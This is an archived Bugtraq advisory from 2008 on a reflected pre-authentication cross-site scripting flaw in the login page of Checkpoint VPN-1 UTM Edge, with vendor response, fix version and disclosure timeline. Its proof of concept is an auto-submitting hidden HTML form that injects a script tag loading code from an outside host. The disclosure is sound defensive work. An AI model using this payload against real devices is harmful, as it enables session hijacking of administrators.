bugtraq - Checkpoint VPN-1 UTM Edge cross-site scripting

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <47CFE291.3020608@smilehouse.com>
Date: Thu, 06 Mar 2008 14:24:49 +0200
From: Henri Lindberg - Smilehouse Oy <henri.lindberg@...lehouse.com>
To: bugtraq@...urityfocus.com
Subject: Checkpoint VPN-1 UTM Edge cross-site scripting

                           Louhi Networks
                          Security Advisory


      Advisory: Checkpoint VPN-1 UTM Edge cross-site scripting
  Release Date: 2008/03/06
Last Modified: 2008/03/06
       Authors: Henri Lindberg, Associate of (ISC)²
                [henri.lindberg@...hi.fi]

   Application: Checkpoint VPN-1 Edge W Embedded NGX 7.0.48x
                (patched in version 7.5.48)
       Devices: Checkpoint VPN-1 UTM Edge
   Attack type: Cross site scripting (non-persistent)
          Risk: Low
Vendor Status: Vendor has released an updated version
    References: http://www.louhi.fi/advisory/checkpoint_080306.txt


Overview:

    Quote from http://www.checkpoint.com/
    "VPN-1 UTM Edge appliances deliver unified threat management to
     enterprises with branch offices and simplify security deployments
     and manageability. VPN-1 UTM Edge appliances consolidate proven
     enterprise-class technology into a single branch office solution
     that does not compromise the corporate network and eliminates the
     branch office as your weakest link. As part of Check Point's Unified
     Security Architecture, VPN-1 UTM Edge can enforce a global security
     policy and allows administrators to manage and update thousands of
     appliances as easily as managing one."

    Insufficient input validation and output encoding on the login page
    allows attacker to perform html-injection by posting suitable string
    to the login form handler. The injection leads to reflected
    pre-authentication cross site scripting.


Details:
    Form based authentication is used only when device is accessed using
    HTTP. Authentication over HTTPS uses HTTP basic authentication.

    The device does not accept the parameters in a GET request, POST
    request has to be used instead - exploiting the XSS vulnerability
    requires therefore a bit more effort compared to ordinary GET based
    reflected cross site scripting vulnerability.

    The current version can be checked from
    http://xxx.xxx.xxx.xxx/pub/test.html where xxx.xxx.xxx.xxx is LAN IP
    address of the device. The page also displays current product key.

Vendor response:

    "Once users register the appliance and connect to the service center
    (Safe@...ice appliances), the latest firmware is automatically
    downloaded to their appliance. For UTM-1 Edge appliances, the latest
    firmware version can be downloaded from the Check Point download
    center. Currently, this is version 7.5.48 that does not contain the
    reported issue. We believe that customers are not exposed to this
    issue."

Proof of Concept:

<html>
<body onload="document.f.submit()">
<form name="f" method="post" action="http://192.168.10.1"
style="display:none">

<input name="user" value="'&lt;script/src=//l7.fi&gt;&lt;/script&gt;">

</form>
</body>
</html>



Solution:

    Update to version 7.5.48


Disclosure Timeline:

    19.  February 2008    - Contacted Checkpoint by email
    20.  February 2008    - Vendor response.
    6.      March 2008    - Advisory was released

Copyright 2008 Louhi Networks Oy. All rights reserved.